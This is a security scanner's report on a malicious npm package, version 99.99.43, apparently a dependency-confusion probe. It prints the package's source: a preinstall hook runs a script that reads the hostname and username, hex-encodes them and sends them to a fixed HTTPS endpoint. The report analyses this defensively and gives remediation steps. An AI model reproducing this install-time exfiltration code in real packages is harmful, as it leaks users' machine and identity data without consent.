registry / Malware / @accenturecodefoundry/mfe-pot-shared-ui-scds-core / 99.99.43

@accenturecodefoundry/mfe-pot-shared-ui-scds-core@99.99.43

A simple placeholder for npm.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The package performs automatic install-time disclosure of identifying data to a fixed recipient without installer consent. This supports blocking the package as an installation-time data exfiltration behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

The package is installed and its preinstall hook runs.

Impact

The endpoint receives identifying machine and user information, and the request also exposes the installer’s network address.

Mechanism

The entrypoint reads host and user environment values, encodes them, and sends them in an HTTPS request.

Attack narrative

During installation, the preinstall hook runs code that collects host and user identifiers and sends them to a fixed endpoint. The source includes no consent check or functional need for this transmission; its publisher-like hostname does not establish who controls it.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

accenture-npm.azurewebsites.net/mfe

Decision evidence

public snapshot

AI called this Malicious at 91.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook automatically runs the entrypoint during installation; the manifest describes the package as a placeholder.
The entrypoint sends host and user identifiers, encoded in the request, to a fixed HTTPS endpoint without a consent check.

Evidence against

The endpoint name resembles the package publisher’s name, but the source does not establish its ownership or a functional reason for collecting these identifiers.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 312 B of source

Source & flagged code

7 flagged

package.jsonView file

•Published source reference

High

Network

Review focus: preinstall runs index.js; inspect the actual lifecycle command and runtime call chain rather than inferring intent from the package name.

package.jsonView on unpkg

•scripts.postinstall =

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"description": "A simple placeholder for npm.", "main": "index.js", "scripts": { "preinstall": "node index.js || true", "postinstall": "" }, "keywo

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs the entrypoint during installation; the manifest describes the package as a placeholder.

package.jsonView on unpkg · L4

•scripts.preinstall = node index.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall =

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

•Published source reference

High

Environment Vars

Trace host/user reads, hex encoding and actual HTTPS send to /mfe. Resolve recipient selection, consent and functional purpose from source.

index.jsView on unpkg

1const https = require('https'); const test = 'accenture-npm[redacted]'; try { const h = (process.env.HOSTNAME || process.env.COMPUTERNAME || 'x') + '_' + (process.env.USER || process.env.USERNAME || 'x'); https.get(`https://${test}/mfe?h=${Buffer.from(h).toString('hex')}`, () => {}); }

High

Ai Review Evidence

The entrypoint sends host and user identifiers, encoded in the request, to a fixed HTTPS endpoint without a consent check.

index.jsView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

•Published source reference

High

Network

Review focus: preinstall runs index.js; inspect the actual lifecycle command and runtime call chain rather than inferring intent from the package name.

package.jsonView on unpkg

•scripts.postinstall =

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"description": "A simple placeholder for npm.", "main": "index.js", "scripts": { "preinstall": "node index.js || true", "postinstall": "" }, "keywo

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs the entrypoint during installation; the manifest describes the package as a placeholder.

package.jsonView on unpkg · L4

•scripts.preinstall = node index.js || true

Findings

5 High4 Medium1 Low

HighNetworkpackage.json

HighEnvironment Varsindex.js

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

Affected versions and remediation

This report applies to @accenturecodefoundry/mfe-pot-shared-ui-scds-core@99.99.43.

See all versions of @accenturecodefoundry/mfe-pot-shared-ui-scds-core for other recorded verdicts.

Avoid installing @accenturecodefoundry/mfe-pot-shared-ui-scds-core@99.99.43. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-16 11:22:17.400Z (UTC).

Source advisory published: 2026-10-13 13:37:54.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Behavioral surface

Related packages

Other malware packages

Source & flagged code